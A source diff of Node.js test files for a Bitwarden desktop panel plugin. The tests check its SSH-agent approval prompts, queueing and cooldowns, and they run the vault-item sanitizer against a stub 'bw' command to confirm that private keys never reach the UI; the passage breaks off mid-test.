// Opening the panel sends an unlocked one to the item list, so a prompt that
|
||||
// claimed the screen first would be silently undone -- live state, blank
|
||||
// screen. Both halves of that ordering are pinned here because the failure is
|
||||
// invisible: everything reports healthy while nothing is drawn.
|
||||
check("the legacy panel is opened before its approval screen is claimed",
|
||||
/function showSshApproval\(message\)[\s\S]{0,1200}?sshAgentApprovalPopup[\s\S]{0,400}?return[\s\S]{0,600}?root\.open\(\)[\s\S]{0,200}?currentScreen = "sshApproval"/.test(panelSrc),
|
||||
"the screen is claimed before opening, so opening resets it")
|
||||
// Pinned on the ordering rather than on a character distance: what matters is
|
||||
// that a live prompt claims the screen and returns before the branch that
|
||||
// would send an unlocked panel to the item list, not how much housekeeping
|
||||
// happens above it.
|
||||
const openedBody = panelSrc.slice(panelSrc.indexOf("function onPanelOpened()"),
|
||||
panelSrc.indexOf("function onPanelClosed") > 0
|
||||
? panelSrc.indexOf("function onPanelClosed")
|
||||
: panelSrc.indexOf("function onPanelOpened()") + 2000)
|
||||
check("opening the panel does not discard a live request",
|
||||
/if \(sshPrompt\)[\s\S]{0,160}?currentScreen = "sshApproval"[\s\S]{0,40}?return/.test(openedBody)
|
||||
&& openedBody.indexOf("sshPrompt") < openedBody.indexOf('status === "unlocked"'),
|
||||
"onPanelOpened resets away from a live prompt")
|
||||
check("a withdrawn prompt counts toward the cooldown",
|
||||
/message\.reason !== "released"[\s\S]{0,200}?sshAgentCooldownAfter\(root\.sshCooldown, "timeout"/.test(panelSrc),
|
||||
"an unanswered prompt never feeds the cooldown")
|
||||
|
||||
// The panel resets currentScreen in several of its own flows -- opening the
|
||||
// panel, finishing an unlock -- each of which silently dropped a live prompt
|
||||
// before. Screen visibility binds to activeScreen, which a live request wins,
|
||||
// so no later assignment can hide a question a client is blocked on.
|
||||
check("a live prompt outranks navigation state",
|
||||
/readonly property string activeScreen: sshPrompt !== null && !sshAgentApprovalPopup \? "sshApproval" : currentScreen/.test(panelSrc),
|
||||
"no activeScreen; a stray currentScreen assignment can hide the prompt")
|
||||
check("no screen visibility still binds to currentScreen directly",
|
||||
panelSrc.split("\n").filter(l => l.trim().startsWith("visible:") && l.includes("root.currentScreen")).length === 0,
|
||||
panelSrc.split("\n").filter(l => l.trim().startsWith("visible:") && l.includes("root.currentScreen")).join(" | "))
|
||||
|
||||
check("raising the prompt switches to the approval screen",
|
||||
/function showSshApproval\(message\)[\s\S]{0,1200}?currentScreen = "sshApproval"/.test(panelSrc),
|
||||
"the prompt never opens the approval screen")
|
||||
check("a request that cannot prompt is denied rather than left hanging",
|
||||
/message\.type === "approval_required"[\s\S]{0,400}?sshAgentMayPrompt\(\)[\s\S]{0,200}?sshAgentDenyLine/.test(panelSrc),
|
||||
"a suppressed request is not answered")
|
||||
// A prompt that opened the panel on the user's behalf should hand the desktop
|
||||
// back when it is answered -- approved or denied alike. A panel the user had
|
||||
// already opened is theirs, so answering returns them to the screen they were
|
||||
// on rather than closing it under them.
|
||||
check("answering a prompt that opened the panel closes it again",
|
||||
/function dismissSshApproval\(\)[\s\S]{0,900}?openedForThis && root\.opened\) root\.close\(\)/.test(panelSrc),
|
||||
"the panel stays open after an answer it opened itself for")
|
||||
check("whether the panel was already open is captured before opening it",
|
||||
/function showSshApproval\(message\)[\s\S]{0,900}?sshPromptOpenedPanel = !root\.opened/.test(panelSrc),
|
||||
"nothing records whether the request opened the panel")
|
||||
check("a panel the user already had open is restored, not closed",
|
||||
/function dismissSshApproval\(\)[\s\S]{0,900}?screenBeforeSshApproval/.test(panelSrc),
|
||||
"answering does not restore the previous screen")
|
||||
|
||||
check("a withdrawn request takes its prompt down",
|
||||
/message\.type === "request_cancelled"[\s\S]{0,900}?dismissSshApproval\(\)/.test(panelSrc),
|
||||
"request_cancelled is ignored")
|
||||
// The approval decision depends on the key identity and the requesting
|
||||
// program, both known before the vault read finishes. Waiting for the read
|
||||
// and only then asking is delay with nothing behind it.
|
||||
check("unlocking promotes the held request straight to an approval",
|
||||
/function promoteUnlockToApproval\(\)[\s\S]{0,600}?showSshApproval\(raw\)/.test(panelSrc),
|
||||
"unlocking never promotes the held request")
|
||||
check("the promotion happens as soon as the vault unlocks",
|
||||
/onStatusChanged:[\s\S]{0,200}?promoteUnlockToApproval\(\)/.test(panelSrc),
|
||||
"nothing promotes on unlock")
|
||||
// The panel root reaches the screens as `root` and the extracted files as
|
||||
// `panel`, so the object is matched either way -- a check pinned to one of
|
||||
// them starts passing or failing on which file the markup sits in.
|
||||
check("the approval prompt says keys are still loading",
|
||||
/visible: (?:root|panel)\.sshAgentLoadActive[\s\S]{0,200}?sshAgentLoadingNote\(\)/.test(panelSrc),
|
||||
"the prompt does not say the keys are still on their way")
|
||||
|
||||
check("the held request stays on screen while keys load",
|
||||
/sshAgentLoadingNote\(\)/.test(panelSrc), "nothing tells the user keys are loading")
|
||||
check("the loading state is driven by the load actually being in flight",
|
||||
/sshUnlockRequest[\s\S]{0,600}?sshAgentLoadActive|sshAgentLoadActive[\s\S]{0,600}?sshUnlockRequest/.test(panelSrc),
|
||||
"the loading state is not tied to a real load")
|
||||
|
||||
check("the setting reaches the companion on handshake and on change",
|
||||
/onSshAgentUnlockOnDemandChanged: sendSshAgentOptions\(\)/.test(panelSrc)
|
||||
&& /if \(sshAgentGateOpen\) sendSshAgentOptions\(\)/.test(panelSrc),
|
||||
"unlock-on-demand never reaches the companion")
|
||||
check("an identity listing is not promoted into an approval",
|
||||
/reason === "list-identities"/.test(panelSrc),
|
||||
"a listing would be turned into a signature approval")
|
||||
|
||||
check("an unlock request is shown with its context",
|
||||
/message\.type === "unlock_required"/.test(panelSrc), "unlock_required is ignored")
|
||||
check("grants are tracked from the companion",
|
||||
/message\.type === "grants_changed"/.test(panelSrc), "grants_changed is ignored")
|
||||
|
||||
check("denying is wired to the deny line",
|
||||
/sshAgentDenyLine\(/.test(panelSrc), "nothing sends deny")
|
||||
check("approving once is wired",
|
||||
/sshAgentApproveLine\(/.test(panelSrc), "nothing sends approve")
|
||||
check("grants can be revoked individually and together",
|
||||
/sshAgentRevokeGrantLine\(/.test(panelSrc) && /sshAgentRevokeGrantsLine\(/.test(panelSrc),
|
||||
"grant revocation is not wired")
|
||||
|
||||
check("a locked screen suppresses the prompt",
|
||||
/sshAgentShouldPrompt\(/.test(panelSrc), "the screen-lock rule is not applied")
|
||||
check("the cooldown is surfaced in the panel rather than failing silently",
|
||||
/sshAgentCooldownStatus\(/.test(panelSrc), "the cooldown is never shown to the user")
|
||||
check("entering the cooldown is announced once, not on every refusal",
|
||||
/sshCooldownAnnounced/.test(panelSrc), "nothing announces the cooldown")
|
||||
|
||||
check("a request the cooldown refuses does not feed the cooldown",
|
||||
/!sshAgentMayPrompt\(\)\)\s*\{\s*sshAgentWrite\(Model\.sshAgentDenyLine\(message\.requestId\)\)\s*return/.test(panelSrc),
|
||||
"a suppressed request records an outcome, so a busy process can hold the cooldown open")
|
||||
// SSH_AUTH_SOCK is fixed at login, so it says what routing *was*. A session
|
||||
// that started routed keeps reporting "matches" after the file is deleted,
|
||||
// which is precisely the window in which a warning would still be useful --
|
||||
// the notice therefore has to read the file, not the environment.
|
||||
const routed = { state: "matches" }
|
||||
eq("a deleted fragment is caught even while this session still points here",
|
||||
Model.sshAgentRoutingNotice({ state: "absent" }, routed).urgent, true)
|
||||
check("and it says the next login is what breaks",
|
||||
/next login/.test(Model.sshAgentRoutingNotice({ state: "absent" }, routed).text),
|
||||
Model.sshAgentRoutingNotice({ state: "absent" }, routed).text)
|
||||
eq("a foreign file is called out too",
|
||||
Model.sshAgentRoutingNotice({ state: "foreign" }, routed).urgent, true)
|
||||
eq("a managed fragment in a routed session says nothing",
|
||||
Model.sshAgentRoutingNotice({ state: "managed" }, routed).text, "")
|
||||
check("a managed fragment in an unrouted session explains the wait",
|
||||
/next login/.test(Model.sshAgentRoutingNotice({ state: "managed" }, { state: "elsewhere" }).text),
|
||||
"a freshly written fragment does not explain why nothing changed yet")
|
||||
eq("and that is information, not a fault",
|
||||
Model.sshAgentRoutingNotice({ state: "managed" }, { state: "elsewhere" }).urgent, false)
|
||||
for (const quiet of ["unknown", "no-home"]) {
|
||||
eq(`a ${quiet} fragment leaves the routing section to explain itself`,
|
||||
Model.sshAgentRoutingNotice({ state: quiet }, routed).text, "")
|
||||
}
|
||||
eq("a missing record says nothing rather than throwing",
|
||||
Model.sshAgentRoutingNotice(null, null).text, "")
|
||||
|
||||
check("the routing notice precedes the routing section",
|
||||
/sshRoutingNotice\.text[\s\S]{0,500}?text: "CLIENT ROUTING"/.test(panelSrc),
|
||||
"the routing notice does not precede the routing section")
|
||||
check("re-enabling the agent restores the routing file it removed on disable",
|
||||
/uwsmRestorePending = true[\s\S]{0,1200}?function applyUwsmRestore\(\)[\s\S]{0,600}?beginUwsmSetup\(\)/.test(panelSrc),
|
||||
"disabling removes the routing file and enabling never puts it back")
|
||||
check("but never over a file it did not write, or another session's agent",
|
||||
/uwsmFragment\.state !== "absent" \|\| sshRouting\.state === "elsewhere"[\s\S]{0,40}?return/.test(panelSrc),
|
||||
"the restore overrules a foreign routing file or an existing agent")
|
||||
check("and routing is reachable before the approvals list",
|
||||
panelSrc.indexOf('text: "CLIENT ROUTING"') < panelSrc.indexOf('text: "ACTIVE APPROVALS"'),
|
||||
"approvals still push routing down the screen")
|
||||
|
||||
// `omarchy plugin remove` has no uninstall hook, so the last moment this code
|
||||
// can run is while the plugin is still installed. What it misses becomes a
|
||||
// command the user has to type from the README.
|
||||
const wipe = Model.pluginDataRemoveCommand().join(" ")
|
||||
for (const [what, needle] of [
|
||||
["the keyring entries", "secret-tool clear service qs-bitwarden-cli"],
|
||||
["the learned suggestions", "XDG_STATE_HOME"],
|
||||
["the exported public keys", "XDG_DATA_HOME"]
|
||||
]) check(`removal clears ${what}`, wipe.indexOf(needle) >= 0, wipe)
|
||||
check("and never logs the vault out on its own",
|
||||
wipe.indexOf("bw logout") < 0 && wipe.indexOf("bw ") < 0, wipe)
|
||||
check("nor touches the shell's own settings file",
|
||||
wipe.indexOf("shell.json") < 0, wipe)
|
||||
|
||||
const wiped = Model.parsePluginDataRemoval(0, "removed keyring state data")
|
||||
eq("a full removal reports success", wiped.ok, true)
|
||||
check("and names what went", /keyring|suggestions|public keys/.test(wiped.message), wiped.message)
|
||||
check("and says the vault survived it", /vault/i.test(wiped.message), wiped.message)
|
||||
eq("nothing to remove is still a success",
|
||||
Model.parsePluginDataRemoval(0, "removed").ok, true)
|
||||
check("and says so plainly",
|
||||
/nothing/i.test(Model.parsePluginDataRemoval(0, "removed").message),
|
||||
Model.parsePluginDataRemoval(0, "removed").message)
|
||||
eq("a missing HOME is a failure, not a silent no-op",
|
||||
Model.parsePluginDataRemoval(3, "").ok, false)
|
||||
eq("and so is any other non-zero exit", Model.parsePluginDataRemoval(1, "").ok, false)
|
||||
|
||||
check("removing plugin data is confirmed before it happens",
|
||||
/pluginDataConfirmPending = true[\s\S]{0,200}?return/.test(panelSrc),
|
||||
"the first click wipes stored data with no confirmation")
|
||||
check("and a cleared keyring is not still believed to hold a password",
|
||||
/parsePluginDataRemoval[\s\S]{0,400}?fingerprintStored = false/.test(panelSrc),
|
||||
"the panel still thinks a deleted master password is stored")
|
||||
|
||||
// A pid is noise on a prompt: it is gone by the time anyone could look it up,
|
||||
// and it is deliberately not part of what a grant matches on -- so showing it
|
||||
// implies a scope the approval does not have.
|
||||
for (const [what, src] of [["the approval prompt", approvalSrc], ["the settings screen", settingsSrc]])
|
||||
check(`${what} does not show a pid`, !/\bpid\b/.test(src), `${what} still renders a pid`)
|
||||
check("the unlock prompt does not either", !/sshUnlockRequest\.pid/.test(panelSrc),
|
||||
"the unlock prompt still renders a pid")
|
||||
|
||||
check("a development helper is called out wherever the user is",
|
||||
/sshAgentHelper\.source === "development"[\s\S]{0,900}?sshAgentDevelopmentHelperWarning\(/.test(panelSrc),
|
||||
"nothing warns that an unverified helper is serving keys")
|
||||
check("the diagnostics say which helper is running and whether it was verified",
|
||||
/helperSource: root\.sshAgentHelper\.source[\s\S]{0,200}?helperChecksum: root\.sshAgentHelper\.checksum/.test(panelSrc),
|
||||
"sshAgentStatus cannot tell a shipped helper from a local build")
|
||||
check("and what the panel believes about client routing",
|
||||
/routingFragment: root\.uwsmFragment\.state[\s\S]{0,200}?routingNotice: root\.sshRoutingNotice\.text !== ""/.test(panelSrc),
|
||||
"routing state cannot be read without squinting at the panel")
|
||||
check("and why inspection rejected one, which errorCode never carries",
|
||||
/helperState: root\.sshAgentHelper\.state/.test(panelSrc),
|
||||
"sshAgentStatus reports an error state without naming it")
|
||||
check("a running cooldown can be ended from the panel",
|
||||
/function resumeSshSigning\(\)[\s\S]{0,300}?sshAgentCooldownAfter\(root\.sshCooldown, "resumed"/.test(panelSrc),
|
||||
"nothing ends the cooldown early, so it cannot be escaped")
|
||||
check("and the control that does it sits on the banner explaining the outage",
|
||||
/sshCooldownStatus\.active[\s\S]{0,1600}?resumeSshSigning\(\)/.test(panelSrc),
|
||||
"the resume control is not on the cooldown banner")
|
||||
check("repeated denials enter the cooldown",
|
||||
/sshAgentCooldownAfter\(/.test(panelSrc) && /sshAgentCooldownActive\(/.test(panelSrc),
|
||||
"the cooldown is not applied")
|
||||
check("escape denies rather than silently dismissing",
|
||||
/sshApproval[\s\S]{0,900}?denySshRequest\(/.test(panelSrc), "escape does not deny")
|
||||
check("the key name is rendered literally by a PlainText control",
|
||||
/Text\s*\{[\s\S]{0,180}?textFormat:\s*Text\.PlainText[\s\S]{0,180}?(?:root|panel)\.sshPrompt\.keyName(?![A-Za-z0-9_])/
|
||||
.test(panelSrc),
|
||||
"the key name is not pinned to plain text")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Opt-in centered approval surface
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
check("the panel reads the centered popup setting",
|
||||
/readonly property bool sshAgentApprovalPopup:[^\n]*boolSetting\("sshAgentApprovalPopup"/.test(panelSrc),
|
||||
"sshAgentApprovalPopup never reaches Panel.qml")
|
||||
check("the popup is an overlay layer surface centered independently of the bar",
|
||||
/PanelWindow\s*\{/.test(popupSrc)
|
||||
&& /anchors\s*\{\s*top:\s*true\s*bottom:\s*true\s*left:\s*true\s*right:\s*true/.test(popupSrc)
|
||||
&& /WlrLayer\.Overlay/.test(popupSrc)
|
||||
&& /ExclusionMode\.Ignore/.test(popupSrc)
|
||||
&& /namespace:\s*"qs-bitwarden-ssh-approval"/.test(popupSrc),
|
||||
"the popup is not a full-screen, non-exclusive overlay layer surface")
|
||||
check("the popup follows the panel's monitor",
|
||||
/screen:[^\n]*anchorItem\.QsWindow\.window\.screen/.test(popupSrc),
|
||||
"the popup has no screen affinity")
|
||||
check("the popup exists only for opted-in pending SSH work",
|
||||
/sshAgentApprovalPopup\s*&&\s*\(panel\.sshPrompt !== null \|\| panel\.sshUnlockRequest !== null\)/.test(popupSrc),
|
||||
"the popup is not gated by both the setting and a pending request")
|
||||
check("popup mode leaves the anchored panel closed for approvals",
|
||||
/function showSshApproval\(message\)[\s\S]{0,900}?if \(root\.sshAgentApprovalPopup\)[\s\S]{0,240}?return/.test(panelSrc),
|
||||
"showSshApproval always opens the panel")
|
||||
check("popup mode leaves the anchored panel closed for unlock requests",
|
||||
/message\.type === "unlock_required"[\s\S]{0,1400}?if \(root\.sshAgentApprovalPopup\)[\s\S]{0,240}?return/.test(panelSrc),
|
||||
"unlock_required always opens the panel")
|
||||
check("changing presentation mode cannot strand a live request off-screen",
|
||||
/onSshAgentApprovalPopupChanged:[\s\S]{0,900}?sshPrompt \|\| root\.sshUnlockRequest[\s\S]{0,900}?root\.open\(\)/.test(panelSrc),
|
||||
"turning popup mode off during a request leaves no visible approval surface")
|
||||
check("the popup moves from unlock to approval without changing windows",
|
||||
/SshUnlockScreen\s*\{/.test(popupSrc) && /SshApprovalScreen\s*\{/.test(popupSrc),
|
||||
"unlock and approval are not hosted by one popup")
|
||||
check("the popup unlock screen names the prerequisite",
|
||||
/vault needs to be unlocked first/i.test(unlockSrc),
|
||||
"the popup does not explain why it appeared")
|
||||
check("the popup can submit every configured unlock method",
|
||||
/unlockVault\(/.test(unlockSrc)
|
||||
&& /submitPinUnlock\(/.test(unlockSrc)
|
||||
&& /startFingerprintUnlock\(/.test(unlockSrc),
|
||||
"password, PIN, or fingerprint is missing from the popup")
|
||||
check("background click and Escape explicitly deny the pending request",
|
||||
/MouseArea[\s\S]{0,500}?onClicked:\s*popup\.panel\.denySshRequest\(\)/.test(popupSrc)
|
||||
&& /Qt\.Key_Escape[\s\S]{0,160}?denySshRequest\(\)/.test(popupSrc),
|
||||
"the modal can disappear without answering the helper")
|
||||
check("approval defaults keyboard focus to Deny",
|
||||
/id:\s*denyButton/.test(approvalSrc)
|
||||
&& /function focusDefault\(\)[\s\S]{0,120}?denyButton\.forceActiveFocus\(\)/.test(approvalSrc),
|
||||
"an approval can receive accidental affirmative focus")
|
||||
check("hidden panel fields cannot steal focus from the popup",
|
||||
/function focusAppropriateField\(\)[\s\S]{0,120}?if \(sshApprovalPopupOpen\) return/.test(panelSrc),
|
||||
"status and unlock handlers can focus an input in the closed panel")
|
||||
check("approval actions opt into keyboard focus",
|
||||
(approvalSrc.match(/focusable:\s*true/g) || []).length >= 2,
|
||||
"approval buttons cannot be reached by Tab")
|
||||
check("popup unlock is accepted while the anchored panel is closed",
|
||||
/readonly property bool sshAuthSurfaceActive:\s*opened \|\| sshApprovalPopupOpen/.test(panelSrc)
|
||||
&& /function prepareUnlock\(\)[\s\S]{0,180}?!sshAuthSurfaceActive/.test(panelSrc),
|
||||
"unlock handlers still require root.opened")
|
||||
check("closing the transient popup clears authentication state",
|
||||
/function clearSshPopupUnlockState\(\)[\s\S]{0,700}?masterPassword = ""/.test(panelSrc)
|
||||
&& /function dismissSshApproval\(\)[\s\S]{0,900}?clearSshPopupUnlockState\(\)/.test(panelSrc),
|
||||
"password/PIN state can survive a dismissed popup")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Concurrent request queueing
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
let q = []
|
||||
q = Model.sshAgentEnqueuePrompt(q, { requestId: 1, keyName: "key1" }, 4)
|
||||
eq("enqueues first item", q.length, 1)
|
||||
q = Model.sshAgentEnqueuePrompt(q, { requestId: 2, keyName: "key2" }, 4)
|
||||
eq("enqueues second item", q.length, 2)
|
||||
q = Model.sshAgentEnqueuePrompt(q, { requestId: 2, keyName: "key2" }, 4)
|
||||
eq("ignores duplicate requestId", q.length, 2)
|
||||
q = Model.sshAgentEnqueuePrompt(q, { requestId: 3 }, 4)
|
||||
q = Model.sshAgentEnqueuePrompt(q, { requestId: 4 }, 4)
|
||||
q = Model.sshAgentEnqueuePrompt(q, { requestId: 5 }, 4)
|
||||
eq("respects queue capacity cap", q.length, 4)
|
||||
|
||||
eq("pending count includes active and queued", Model.sshAgentPendingCount({ requestId: 0 }, q), 5)
|
||||
eq("pending count with no active", Model.sshAgentPendingCount(null, q), 4)
|
||||
eq("pending count with no queue", Model.sshAgentPendingCount({ requestId: 0 }, []), 1)
|
||||
|
||||
let deq = Model.sshAgentDequeuePrompt(q)
|
||||
eq("dequeues first item", deq.next.requestId, 1)
|
||||
eq("remaining queue length is decremented", deq.remaining.length, 3)
|
||||
|
||||
let emptyDeq = Model.sshAgentDequeuePrompt([])
|
||||
eq("empty dequeue next is null", emptyDeq.next, null)
|
||||
eq("empty dequeue remaining is empty", emptyDeq.remaining.length, 0)
|
||||
|
||||
let removed = Model.sshAgentRemovePrompt(q, 3)
|
||||
eq("removes targeted requestId", removed.length, 3)
|
||||
eq("requestId 3 is absent", removed.some(x => x.requestId === 3), false)
|
||||
|
||||
check("the panel declares an SSH prompt queue",
|
||||
/property var sshPromptQueue:\s*\[\]/.test(panelSrc),
|
||||
"sshPromptQueue is missing from Panel.qml")
|
||||
check("the panel declares total pending counts",
|
||||
/readonly property int sshPendingCount:/.test(panelSrc)
|
||||
&& /readonly property int sshUnlockPendingCount:/.test(panelSrc),
|
||||
"sshPendingCount or sshUnlockPendingCount is missing")
|
||||
check("multiple concurrent approval requests are queued",
|
||||
/root\.sshPromptQueue = Model\.sshAgentEnqueuePrompt\(root\.sshPromptQueue, message, 4\)/.test(panelSrc),
|
||||
"concurrent approvals are not queued")
|
||||
check("multiple concurrent unlock requests are queued",
|
||||
/root\.sshUnlockQueue = Model\.sshAgentEnqueuePrompt\(root\.sshUnlockQueue, message, 4\)/.test(panelSrc),
|
||||
"concurrent unlocks are not queued")
|
||||
check("advancing an approval dequeues the next prompt",
|
||||
/function advanceSshPrompt\(\)[\s\S]{0,400}?Model\.sshAgentDequeuePrompt\(root\.sshPromptQueue\)/.test(panelSrc),
|
||||
"advanceSshPrompt does not dequeue from sshPromptQueue")
|
||||
check("advancing an unlock dequeues the next unlock request",
|
||||
/function advanceSshUnlock\(\)[\s\S]{0,400}?Model\.sshAgentDequeuePrompt\(root\.sshUnlockQueue\)/.test(panelSrc),
|
||||
"advanceSshUnlock does not dequeue from sshUnlockQueue")
|
||||
check("deny all rejects active and queued requests",
|
||||
/function denyAllSshRequests\(\)[\s\S]{0,900}?sshPromptQueue[\s\S]{0,600}?sshUnlockQueue[\s\S]{0,600}?dismissSshApproval\(\)/.test(panelSrc),
|
||||
"denyAllSshRequests is missing or does not clear queues")
|
||||
check("approval screen displays 1 of N when multiple requests are queued",
|
||||
/text:\s*"1 of "\s*\+\s*panel\.sshPendingCount/.test(approvalSrc),
|
||||
"approval screen does not display queue counter")
|
||||
check("approval screen provides a Deny all button when multiple requests exist",
|
||||
/text:\s*"Deny all \("\s*\+\s*panel\.sshPendingCount\s*\+\s*"\)"/.test(approvalSrc),
|
||||
"approval screen is missing Deny all button")
|
||||
check("popup accepts Shift+Escape to deny all requests",
|
||||
/event\.modifiers\s*&\s*Qt\.ShiftModifier[\s\S]{0,120}?popup\.panel\.denyAllSshRequests\(\)/.test(popupSrc),
|
||||
"popup does not handle Shift+Escape for deny all")
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failed, ${pass} passed\n`)
|
||||
failures.forEach(f => console.error(` FAIL ${f}`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`ssh-agent-ui: ${pass} passed`)
|
||||
@@ -0,0 +1,337 @@
|
||||
#!/usr/bin/env node
|
||||
// `bw list items` returns every decrypted cipher field. Before QML sees that
|
||||
// stream, supported ordinary items must be allowlisted and SSH keys reduced to
|
||||
// public metadata. These tests execute the real shell/jq pipeline with a fake
|
||||
// `bw`, so they cover the process boundary rather than a second JS sanitizer.
|
||||
//
|
||||
// node tests/ssh-items.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const os = require("os")
|
||||
const path = require("path")
|
||||
const { spawnSync } = require("child_process")
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.sanitizedListCommand = sanitizedListCommand
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
|
||||
const PRIVATE_MARKER = "SSH_PRIVATE_MARKER_must_not_reach_QML"
|
||||
const UNKNOWN_MARKER = "UNKNOWN_TYPE_MARKER_must_not_reach_QML"
|
||||
const STDERR_MARKER = "BW_STDERR_MARKER_must_not_reach_QML"
|
||||
const FILTER_STDERR_MARKER = "JQ_STDERR_MARKER_must_not_reach_QML"
|
||||
const MAX_ITEMS_BYTES = 16 * 1024 * 1024
|
||||
const MAX_STDERR_BYTES = 8192
|
||||
const SAFE_DIAGNOSTIC = "Could not safely read vault items.\n"
|
||||
|
||||
const fixture = [
|
||||
{ object: "item", id: "login-1", type: 1, name: "Login", favorite: true,
|
||||
login: { username: "me", password: "ordinary-login-secret" } },
|
||||
{ object: "item", id: "note-1", type: 2, name: "Note", secureNote: { type: 0 } },
|
||||
{ object: "item", id: "card-1", type: 3, name: "Card", card: { number: "4111111111111111" } },
|
||||
{ object: "item", id: "identity-1", type: 4, name: "Identity", identity: { email: "me@example.com" } },
|
||||
{ object: "item", id: "ssh-1", type: 5, name: "Work SSH", organizationId: "org-1",
|
||||
folderId: "folder-1", favorite: false, reprompt: 1, notes: "not public",
|
||||
sshKey: { privateKey: PRIVATE_MARKER, publicKey: "ssh-ed25519 AAAATEST",
|
||||
fingerprint: "SHA256:public-fingerprint", extra: "not public either" } },
|
||||
{ object: "item", id: "bank-1", type: 6, name: "Bank",
|
||||
bankAccount: { accountNumber: UNKNOWN_MARKER } },
|
||||
{ object: "item", id: "licence-1", type: 7, name: "Licence", notes: UNKNOWN_MARKER },
|
||||
{ object: "item", id: "passport-1", type: 8, name: "Passport", fields: [{ value: UNKNOWN_MARKER }] }
|
||||
]
|
||||
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-ssh-items-"))
|
||||
const fixturePath = path.join(tempDir, "items.json")
|
||||
const bwPath = path.join(tempDir, "bw")
|
||||
fs.writeFileSync(bwPath, [
|
||||
"#!/bin/bash",
|
||||
"if [ \"$1\" = \"--version\" ] || [ \"$1\" = \"-v\" ]; then",
|
||||
" printf '%s\\n' \"${QSBW_BW_VERSION:-2025.1.2}\"",
|
||||
" exit 0",
|
||||
"fi",
|
||||
"if [ -n \"${QSBW_BW_INVOCATIONS:-}\" ]; then printf x >> \"$QSBW_BW_INVOCATIONS\"; fi",
|
||||
"if [ -n \"${QSBW_BW_STDERR:-}\" ]; then printf '%s' \"$QSBW_BW_STDERR\" >&2; fi",
|
||||
"cat -- \"$QSBW_FIXTURE\"",
|
||||
"exit \"${QSBW_BW_EXIT:-0}\"",
|
||||
""
|
||||
].join("\n"), { mode: 0o755 })
|
||||
|
||||
const command = Model.sanitizedListCommand()
|
||||
const commandText = command.join(" ")
|
||||
const testEnv = Object.assign({}, process.env, {
|
||||
PATH: tempDir + path.delimiter + process.env.PATH,
|
||||
QSBW_FIXTURE: fixturePath
|
||||
})
|
||||
|
||||
function categoryIds() {
|
||||
const block = panelSrc.match(/readonly property var categories: \[([\s\S]*?)\n \]/)
|
||||
return block ? Array.from(block[1].matchAll(/\{\s*id:\s*"([^"]+)"/g), m => m[1]) : []
|
||||
}
|
||||
|
||||
function visibleFilterRows() {
|
||||
const match = panelSrc.match(/readonly property int filterVisibleRows:\s*(\d+)/)
|
||||
return match ? Number(match[1]) : 0
|
||||
}
|
||||
|
||||
function typeDrawerShowsAllRows() {
|
||||
return /readonly property int currentFilterVisibleRows:[\s\S]*openFilterGroup === "types"[\s\S]*currentFilterOptions\.length/.test(panelSrc)
|
||||
&& /Math\.min\(currentFilterVisibleRows,\s*currentFilterOptions\.length\)/.test(panelSrc)
|
||||
}
|
||||
|
||||
function runFixture(contents, envOverrides) {
|
||||
fs.writeFileSync(fixturePath, contents)
|
||||
return spawnSync(command[0], command.slice(1), {
|
||||
env: Object.assign({}, testEnv, envOverrides || {}),
|
||||
encoding: "utf8",
|
||||
maxBuffer: 20 * 1024 * 1024
|
||||
})
|
||||
}
|
||||
|
||||
try {
|
||||
const ids = categoryIds()
|
||||
const sshIndex = ids.indexOf("sshKey")
|
||||
const visibleRows = visibleFilterRows()
|
||||
check("type filters are ordered by Bitwarden type id with synthetic filters at the edges",
|
||||
ids.join(",") === "all,login,secureNote,card,identity,sshKey,favorite",
|
||||
JSON.stringify({ categoryIds: ids }))
|
||||
check("the SSH type filter is visible without scrolling",
|
||||
sshIndex >= 0 && (sshIndex < visibleRows || typeDrawerShowsAllRows()),
|
||||
JSON.stringify({ visibleRows, typeDrawerShowsAllRows: typeDrawerShowsAllRows(), categoryIds: ids }))
|
||||
check("the SSH type filter is offered only when the CLI supports SSH keys",
|
||||
/readonly property bool sshUiAvailable: Model\.sshUiAvailable\(dependencies, depsChecked\)/.test(panelSrc)
|
||||
&& /readonly property var visibleCategories[\s\S]{0,200}category\.id !== "sshKey"/.test(panelSrc)
|
||||
&& /group === "types"[\s\S]{0,200}visibleCategories\.length/.test(panelSrc)
|
||||
&& !/group === "types"[\s\S]{0,200}categories\[i\]/.test(panelSrc),
|
||||
"the types filter drawer does not follow the CLI-gated category list")
|
||||
check("an unconfirmed SSH capability reads differently from an empty vault",
|
||||
/function emptyListMessage\(\)[\s\S]{0,400}sshCapability\.state === "unconfirmed"[\s\S]{0,120}sshCapability\.message/.test(panelSrc)
|
||||
&& /text: root\.isLoading && root\.items\.length === 0[\s\S]{0,120}root\.emptyListMessage\(\)/.test(panelSrc),
|
||||
"the empty list cannot distinguish an unconfirmed server from an empty vault")
|
||||
|
||||
check("search help says SSH public fields are searchable",
|
||||
/placeholderText:\s*"[^"]*(public keys|fingerprints)[^"]*"/i.test(panelSrc),
|
||||
"search placeholder does not mention public keys or fingerprints")
|
||||
check("the detail delete shortcut is guarded for read-only SSH items",
|
||||
/lower === "x"[\s\S]{0,120}detailItem[\s\S]{0,120}typeCode !== 5[\s\S]{0,120}showDeleteConfirm = true/.test(panelSrc),
|
||||
"detail shortcut x can open delete confirmation for SSH")
|
||||
|
||||
check("the sanitizer is a bounded bash pipeline",
|
||||
command[0] === "bash" && command[1] === "-c"
|
||||
&& commandText.includes("node -e")
|
||||
&& commandText.includes("jq -c")
|
||||
&& commandText.includes("BW_NOINTERACTION=true")
|
||||
&& (commandText.match(/head -c 16777217/g) || []).length === 2,
|
||||
commandText)
|
||||
check("the static command carries no fixture secret",
|
||||
